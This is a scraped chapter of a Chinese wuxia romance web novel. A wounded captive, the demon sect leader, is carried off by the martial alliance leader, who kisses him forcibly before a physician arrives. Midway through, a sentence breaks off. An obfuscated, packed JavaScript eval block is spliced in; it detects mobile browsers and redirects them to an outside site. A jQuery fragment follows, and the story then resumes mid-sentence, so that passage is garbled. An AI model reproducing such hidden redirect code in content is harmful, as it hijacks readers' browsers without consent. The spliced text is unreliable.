默认冷灰
24号文字
方正启体

4. 武侠04

作者:顾楚本书字数:K更新时间:
    陆沉渊越想眸色越沉,手中力道加重。


    痛感转换器虽然能够止痛,但不能疗伤。楚潮生现在身体是实打实的有各种伤。


    他身体虚弱,大脑昏沉,被对方这么捏住,当即没什么好脸色。


    “滚!”


    他抬手“啪”的一声挥开对方的手,只是下一瞬间,自己也肩膀颤抖,咳嗽了起来。


    陆沉渊动作顿了顿,刚想说什么,就见楚潮生突然蹙紧了眉,脸色瞬间褪尽所有血色,唇瓣泛上青白,他双手抓住自己胸口的衣服要往地上倒。


    陆沉渊连忙接住了他,怀里的身体滚烫,还在剧烈颤抖。


    “怎么回事?”


    楚潮生心绞痛又开始发作了。


    幸好进化到50%的痛感转换器平时也能转换掉50%的痛觉,闷闷钝痛像锤一下下敲击心口一般。


    他痛得眼前发黑,再加上浑身是伤,意识逐渐模糊,身体软软地靠在陆沉渊怀里,连挣扎的力气都没有了。


    陆沉渊感受到怀中人疼的颤抖,气息微弱,心中原本莫名的冷意迟滞,变成了烦闷。


    他一手将楚潮生搂抱住,转头看向缠斗的两人,眼神冰冷,弹指而出,“住手。”


    凌厉的气劲落在林清羽和月无迹相交剑锋上,瞬间将两人分开。


    他们同时停手,收剑看向陆沉渊。


    “月无迹,你走吧。”陆沉渊的声音没有一丝波澜,“今日之事,我可以当作没发生,以后不要出现在武林盟。”


    月无迹深深地看了一眼陆沉渊怀中的楚潮生,眼神复杂,最终还是转身离开了水牢。


    林清羽则看了眼对方离开的背影,又看了眼陆沉渊抱着楚潮生的模样,越发莫名,“师兄?你怎么能放他走?还有这魔头,他杀了我们清风剑派的弟子,你难道要这样放过他?”


    “月无迹是朔月山庄庄主,并不是魔教余孽。”陆沉渊一边将怀里的人打横抱起,一边淡淡说着,“至于这两人……”


    他扫过地上的两具尸体,眼神冷得像冰,“他们违背我的命令,私自动刑,死有余辜。”


    说完,便抱着楚潮生大步离开了水牢。


    而在他怀中,楚潮生在彻底沉入黑暗前,唇角暗暗勾了勾。


    出水牢了。


    计划成功。


    林清羽愣愣看着陆沉渊消失的背影,回忆起楚潮生身上的确新增了一些鞭伤,还有两名弟子腰带松散的模样……


    想到楚潮生那张脸,他一时间僵住,脸色白了又红,咬牙讷讷道:“这妖人……惯会蛊惑人心……”


    ……


    陆沉渊抱着楚潮生穿过重重庭院。


    天黑了,廊下的灯在夜风中摇晃,昏黄的光掠过怀中人苍白的脸。


    陆沉渊垂眸,怀里这张脸此时近在咫尺。


    远山长眉痛苦紧蹙,长睫浓密如鸦羽,也因疼痛在轻轻颤动。原本红肿的唇色此刻失了血色,只在唇角还留有被咬破的细小伤口。


    看起来有几分太脆弱了,与他印象中那个红衣猎猎、嚣张狠戾,谈笑间取人性命的魔头判若两人。


    心底莫名窜起一丝躁意,陆沉渊不自觉地收紧手臂。


    他能感觉到对方单薄胸膛微弱的起伏,怀中人轻得像一捧雪,似是稍一用力就会碎在掌心。


    他脚步更快了。


    一路抱着楚潮生快步走入梧桐苑,沉声对一边的侍从吩咐道:“去请神医谷主晏书衡,立刻到梧桐苑来。”


    侍从见他怀中抱着个浑身湿透、血迹斑斑的绝美男人,先是一愣,随即应声立刻飞奔而去。


    陆沉渊抱着人径直走向客卧。


    早有其他侍从将屋内灯点上,床铺开。


    陆沉渊将楚潮生小心放到床榻上,他动作难得的轻缓,可即便如此,受伤的身体触及床褥,楚潮生的身体还是一颤。


    这一番折腾,让他周身剧痛再次袭来。


    高烧让意识模糊,可偏偏鞭伤火辣辣的灼烧,心口沉闷的绞痛,还有浸透骨髓的寒意……楚潮生只觉得全身每一处骨头都在叫嚣,痛觉交织成一张密不透风的网,将他死死勒住,几乎窒息。


    他又痛又热,昏昏沉沉间抓紧了陆沉渊还未收回去的手臂,只觉得对方掌心凉凉的很舒服。


    楚潮生无意识地蹭过去,将脸颊贴上了对方宽大的手掌。雪白小脸在对方稍显粗糙的掌心磨蹭。


    烧红的脸终于触上了丝丝凉意,陆沉渊能量充足,仅仅这样程度的亲密也能轻微减轻痛感。楚潮生唇瓣开合,溢出一声极轻的舒适呜咽。


    这姿态太过脆弱,又太过勾人。


    陆沉渊僵住了,骨骼分明的手背一时间青筋暴起。


    掌心传来的触感柔软滚烫,楚潮生的脸颊在他手中轻蹭,长睫扫过皮肤,带来细微的痒意。


    那双总是盛着讥讽与冷光的眼睛此刻半睁半闭着,水雾蒙蒙,鼻尖微红,整个人透着一股诱人的湿意。


    陆沉渊幽深黑眸瞬间沉得像深潭,眼底翻涌着惊涛骇浪。


    脑海中闪过之前水牢里那一幕,他的目光再次落到楚潮生红肿的唇上,不自觉用大拇指按上楚潮生的唇瓣,重重碾过。


    带着薄茧的指腹力道不轻,唇瓣被挤压得变形,楚潮生闷哼一声。


    这样亲密的接触,让楚潮生痛感再次减小,烧烫的意识也渐渐清晰。


    他狭长凤眼半睁半闭,长睫濡湿,琥珀色的眸子里蒙着一层水雾,涣散地看向陆沉渊。想到009说的越是亲密越能加速痛感转换器进化——


    “陆盟主……这是做什么?”


    他眉目微扬,沙哑的嗓音似是挑衅,然后……


    楚潮生微微张口,湿热柔软的舌尖轻轻舔过按压在唇上的拇指,随即缓缓含住指腹,用齿尖极轻地磨蹭了一下。


    那双蒙着水雾的眼睛还带着挑衅不屑,偏偏眼尾微红、目光迷离,这只会让任何男人都控制不住的想要狠狠教训对方。


    都烧成这样了,还不忘勾引人。


    陆沉渊黑眸幽深,他想到那些关于魔教教主后院的传闻,想起悬崖上那个荒唐的吻,想起水牢里看到的那一幕……


    “楚潮生,我可不是你的那些男宠。”陆沉渊声音哑得可怕,他缓缓抽出湿淋淋的手指,掐住楚潮生的下颌,黑眸沉得像化不开的浓墨,“敢招惹我,你知道下场么?”


    话音未落,陆沉渊已经俯身吻了下去。


    这个吻和悬崖上的蜻蜓点水截然不同。


    不再是楚潮生毫无章法,只是本能地贴着厮磨,陆沉渊显然很擅长探索。


    他一手扣住楚潮生的下颌,另一手撑在床沿,高大的身形几乎将身下的人挡得严严实实。唇舌蛮横地撬开牙关,长驱直入,强势力道纠缠着对方滑嫩的小舌直要搅得天翻地覆。


    楚潮生被对方单方面侵占的攻势压制,闷哼一声下意识想躲,却被扣得更紧。


    陆沉渊的吻又凶又急,带着惩罚般的狠厉,像是要将他拆吃入腹。


    楚潮生情绪激动时鼻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051874|194810||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    翼红痣更艳,被深吻后小痣更红了,随着鼻翼微颤。


    唇齿交缠间,血腥味在口中蔓延,不知是谁咬破了谁的唇。


    楚潮生起初还在挣扎,但他本就因痛觉转换而极度敏感,此刻被这样深吻,酥麻战栗的快感如电流般窜遍全身,几乎让他承受不住。


    他无意识地往后仰起头想要躲避快-感,却只会更深地陷入软枕中,露出脆弱白皙的修长脖颈,任由对方轻薄。


    陆沉渊看着这样的楚潮生,眸色更深。


    他喉结滚动,几乎要失控了。


    然而脚步声突然靠近,随后一道惊愕男声响起——


    “沉渊?”


    陆沉渊动作猛地顿住。


    他缓缓抬起头,看向门口。


    一身白衣的晏书衡正站在那儿,他手中还提着药箱,清俊的脸上满是错愕。


    “你……”晏书衡张了张嘴,目光落在床榻上。


    楚潮生衣衫凌乱,唇瓣红肿,眼角泛红,正急促喘息着,一副被欺负狠了的模样。而陆沉渊撑在他上方,玄衣微乱,气息不稳,任谁看了都会多想。


    楚潮生现在倒是一点都不疼了,但他的身体还在细微颤抖——那是因为极度敏感的身体,在如此亲密的刺激下激起的反应。


    陆沉渊神色如常地直起身,似是未受半点影响,只是眼底暗潮未退。


    “你来了。”他声音已恢复平日的冷静,没有多做解释,只是起身道:“给他看看。”


    他自己则走到桌边,倒了杯冷茶,一饮而尽。


    晏书衡情绪复杂,沉默片刻,还是走进屋内,将药箱放在一边。


    他没想到,陆沉渊这么多年明明男女不近,他还以为对方无意于此事,却没想到居然趁魔头重伤就……


    晏书衡实在不想相信自己好友会是做出这种事情的人,可当他的目光落在楚潮生脸上时,又有些不得不相信——因为这人实在太好看了。


    楚潮生才经历了一系列起起伏伏,正好刚刚一番亲密,此时身上舒舒服服没有一点疼痛,他早就疲累不堪的身体立刻陷入了沉睡。


    晏书衡作为医者,强迫自己摒除杂念,细心查看起了楚潮生身上的伤。


    “跟他的内伤一比,身上这些伤口倒都是些皮外伤而已了。他内息紊乱、心脉受损……奇怪……”只是越检查,晏书衡眉头越是紧皱。


    总觉得楚潮生体内还有一种他一时也说不清的诡异虚弱感,看起来不像是普通的内伤,倒像是被什么东西从内部蚕食着生命力。


    晏书衡一边查看一边说着,“这样破碎的身体,这家伙到底是怎么撑到现在的?”


    陆沉渊听着晏书衡的话,握住茶杯的手指捏紧。


    晏书衡叹了口气,忽然问,“你想怎么个治法?”


    陆沉渊抬眼,“什么意思?”


    晏书衡站起身,目光直视陆沉渊,“他是魔头,若你只想要留他一口气问话,和想把他治好,这可是两件事。”


    这是实话,也是晏书衡对陆沉渊的试探。


    屋内安静了一瞬。


    陆沉渊看向床上的楚潮生。


    那人已经闭着眼再次昏睡了过去,长发散在枕上,长睫在瓷白肌肤上投下一小片阴影,看起来难得乖巧。


    但谁都知道,这只是假象。


    良久,陆沉渊开口,声音平静无波,“能开口说话就行。”


    晏书衡神色放松了些,还挑眉调侃,“那何必叫我来?随便找个大夫不就行了?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)